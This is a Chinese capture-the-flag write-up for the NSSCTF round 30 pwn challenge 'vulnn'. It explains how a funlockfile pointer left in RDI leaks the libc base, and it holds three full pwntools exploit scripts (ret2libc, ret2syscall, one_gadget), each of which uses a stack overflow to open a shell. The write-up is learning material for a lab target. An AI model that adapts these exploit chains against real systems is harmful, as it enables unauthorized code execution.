NSSCTF-round30-pwn-vulnn

read()读取的参数是buf , 而 printf() 打印的参数是 c ,不能用格式化字符串。

再看 参数 c ,位于 .data 段 ,属于全局变量,轻易更改,覆盖它们可能导致程序崩溃。
附件给了 libc ,程序里既无system,也无/bin/sh,想办法泄露libc的基址,这道题,没有给pop_rdi_ret 。

用 gdb 动调 vuln,发现在main()调用完printf()函数后,rdi 寄存器中仍然存有一个指针,指向一个函数的地址,funlockfile(),虽然没见过,但没关系。可为什么调用printf()后,rdi 会存有一个指针指向一个函数的地址呢?
RDI 变化的原因:printf 内部调用了 funlockfile,并将 FILE* 流的锁地址传入 RDI。
为什么
printf执行后RDI的值发生了变化?在 x86-64 调用约定中,
RDI是第一个参数寄存器,用于传递函数参数。printf的执行会修改RDI,原因如下:
1.
printf的调用过程
调用前:
RDI存储printf的第一个参数(格式字符串地址0x40200d)。
RSI存储第二个参数(0x402004,指向字符串"byby")。这是正常的
printf传参方式:
c复制
printf("%s", "byby"); // RDI="%s", RSI="byby"调用后:
printf内部会使用RDI作为临时寄存器(例如处理可变参数或内部函数调用)。- 当
printf返回时,RDI可能被修改为某个内部函数的地址(如funlockfile)。
2. 具体原因分析
(1)****
printf内部调用了其他函数
printf在 glibc 的实现中会调用:
vfprintf(核心格式化输出函数)funlockfile(释放文件流的锁)在调用
funlockfile时,RDI会被设置为FILE*流的地址(这里是stdout或某个内部结构)。(2)****
funlockfile的调用从你的寄存器变化可以看出:
调用前:
RDI = 0x40200d(格式字符串"%s"的地址)调用后:
RDI = 0x7ffe57083640,指向funlockfile的函数指针。这表明
printf在返回前调用了funlockfile,并将stdout的锁结构地址传给了它(RDI被覆盖)。
3. 关键寄存器变化对比
寄存器 调用前 调用后 变化原因 RDI 0x40200d("%s")0x7ffe57083640(funlockfile相关)printf内部调用funlockfileRAX 0x00x4printf返回输出的字符数("byby"是 4 字节)RCX read+18write+23printf内部调用了write系统调用RSI 0x402004("byby")0x7ffe57083760(栈上的新值)printf内部使用RSI作为临时寄存器
4. 为什么
RDI会指向funlockfile?
printf在 glibc 中会加锁(flockfile)以保证线程安全,输出完成后解锁(funlockfile)。- 解锁时,
RDI会被设置为FILE*流的锁结构地址(这里是stdout的锁)。- 你看到的
RDI值0x7ffe57083640可能是stdout->_lock的地址。
5. 如何验证?
(1)查看
printf的汇编bash
复制
disassemble printf你会看到类似以下的调用链:
asm
复制
call vfprintf ... call funlockfile(2)查看
stdout的结构bash
复制
p/x *(FILE *)stdout输出中会包含
_lock字段,地址可能与RDI的值一致。
6. 总结
RDI变化的原因:printf内部调用了funlockfile,并将FILE*流的锁地址传入RDI。- 这是正常行为,
printf的实现会修改多个寄存器(包括RAX、RCX、RDI等)。- 关键点:函数调用后,寄存器的值可能被覆盖(尤其是参数寄存器)。
如果你在漏洞利用中依赖
RDI的值,需要注意:
- 不要假设
RDI在函数调用后保持不变。- 如果需要保留
RDI,可以用push rdi; pop rdi保存和恢复。
当我们得到了一个函数的真实地址,就可以泄露 libc_base了
利用栈溢出,覆盖返回地址,return到puts(),将rdi 寄存器里的函数地址打印出来,但这里要注意两点:
- ret 到哪里,我们既要调用 puts() 函数,又不想修改rdi 寄存器里的参数,一般函数的调用,在汇编语言中的体现,是先将参数存入寄存器中,再调用函数,所以这里我们要 ret 到 0x401206 ( call _puts )

-
我们执行puts()函数,打印出我们想要的函数地址,就相当于得到了libc的基址,接下来,就是利用read(),来打第二遍 payload 。
但如果我们第一遍payload 用垃圾字节填充了rbp,再重新执行main(),参数 buf 的位置是位于[rbp-40h],这时候我们第二遍 payload 就不知道读到哪去了,程序就会崩溃,所以这里,在打第一遍pyaload 时,我们就注意将 rdp 的值覆盖为一个真实可写入的地址。

可写的范围从0x404000 -> 0x405000 ,为避免可能覆盖其他数据,最好选择中部。
将上述的两个注意点处理好了,接下来就有三种方法:
第一种打法:ret2libc
from pwn import *
context(os = "linux", arch = 'amd64', log_level = 'debug')
p = process("./vuln")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
#p = remote("node6.anna.nssctf.cn", 27791)
#attach(p)
r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
#attach(p)
payload = b"\x00" * 0x40 + p64(0x404900) + p64(0x401206)
sa("qwq\n", payload)
ru("byby")
tmp = p.recvuntil("\n", drop=True)
libc.address = int.from_bytes(tmp, "little") - 0x62050
print(hex(libc.address))
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
pop_rdi = libc.address + 0x2a3e5
#gdb.attach(p)
#pause()
p.send(b'\x00' * 0x48 + p64(pop_rdi) + p64(binsh) + p64(pop_rdi + 1) + p64(system))
p.interactive()
第二种打法:ret2syscall(系统调用)
64位程序中,打系统调用,执行execve,用法:execve("/bin/sh",NULL,NULL),需控制四个寄存器,rax, rdi,rsi,rdx,首先,要将系统调用号存进 rax (execve函数的系统调用号为 0x3b = 59),然后将 /bin/sh 存进 rdi ,将 rsi,rdx 存入 0 即可。

程序本身没有可利用的gadget,就只有从 libc 中取
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = remote('node1.anna.nssctf.cn', 28161)
io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
target_addr = 0x401206
io.recvuntil('qwq\n')
payload = b'A' * 0x40 + p64(0x404a00)
payload += p64(target_addr)
funlockfile=libc.sym["funlockfile"]
io.sendline(payload)
io.recvuntil('byby')
funlockfile_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc.address = funlockfile_addr - funlockfile
bin_sh = next(libc.search(b'/bin/sh\x00'))
pop_rdi_ret = next(libc.search(asm("pop rdi; ret;")))
ret = pop_rdi_ret + 1
#pop_rdx_ret = next(libc.search(asm("pop rdx; ret;")))
pop_rdx_pop_r12_ret = 0x11f2e7 + libc.address
pop_rsi_ret = next(libc.search(asm("pop rsi; ret;")))
pop_rax_ret = next(libc.search(asm("pop rax; ret;")))
syscall = next(libc.search(asm("syscall; ret;")))
payload2 = b'A' * 0x48 + p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rax_ret) + p64(59) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_pop_r12_ret) + p64(0)*2 + p64(syscall)
#gdb.attach(io)
io.sendline(payload2)
io.interactive()
这里有需要注意的是,附件给出的 libc.so.6 中,没有纯粹的 pop_rdx_ret,所以写pop_rdx_ret = next(libc.search(asm("pop rdx; ret;"))),程序会卡死在pop rdx; ret (这个坑对新人我来说,真是想不到,我也卡死在了这里)

这里就可以将与rdx有关的寄存器一并控制了,比如我这里选pop_rdx_pop_r12_ret = 0x11f2e7 + libc.address,payload2+=p64(pop_rdx_pop_r12_ret) + p64(0)*2,但是,在用gdb调试时,会发现,打第二遍payload2时,rdx 本身就是0,所以也就可以不用控制,直接不管也能打通。
第三种打法:one_gadget
使用 one_gadget 工具扫描 libc:
one_gadget /lib/x86_64-linux-gnu/libc.so.6
选一个约束比较宽松的 gadget

我选的最下面那个gadget ,要满足三个条件:
-
内存地址 rbp-0x50 必须可写
-
rax == 0:直接满足条件(最简单的情况)或者
{rax, [rbp-0x48], NULL}是合法的argv数组:rax是字符串指针(如指向"/bin/sh")。[rbp-0x48]是NULL或下一个参数字符串。- 数组以
NULL结尾(类似["/bin/sh", NULL])
-
以下三种情况满足其一即可:
[[rbp-0x70]] == NULL:rbp-0x70指向的内存内容为NULL(即**(rbp-0x70) = 0)。[rbp-0x70] == NULL:rbp-0x70本身为NULL。[rbp-0x70]是合法的envp数组(如["PATH=...", NULL])。
所以,我们要将 rbp 覆盖为一个可写地址,可写的范围从0x404000 -> 0x405000 ,为避免可能覆盖其他数据,且选择的是中部,所以条件 1 满足,至于条件 2,就看运气了,
所以最后,我们只需要满足 rax == 0
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./vuln')
#io = remote('node1.anna.nssctf.cn', 28023)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./libc.so.6')
elf = ELF('./vuln')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
target_addr = 0x401206
io.recvuntil('qwq\n')
payload = b'A' * 0x40 + p64(0x404a00)
payload += p64(target_addr)
funlockfile=libc.sym["funlockfile"]
print(hex(funlockfile))
io.sendline(payload)
io.recvuntil('byby')
funlockfile_addr = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(funlockfile_addr))
libc.address = funlockfile_addr - funlockfile
print(hex(libc.address))
pop_rax = libc.search(asm("pop rax; ret;")).__next__()
payload2 = b"\x00" * 0x40 + p64(0x404ff0) + p64(pop_rax) + p64(0) + p64(libc.address + 0xebd43)
#gdb.attach(io)
#pause()
io.send(payload2)
io.interactive()
````****`

浙公网安备 33010602011771号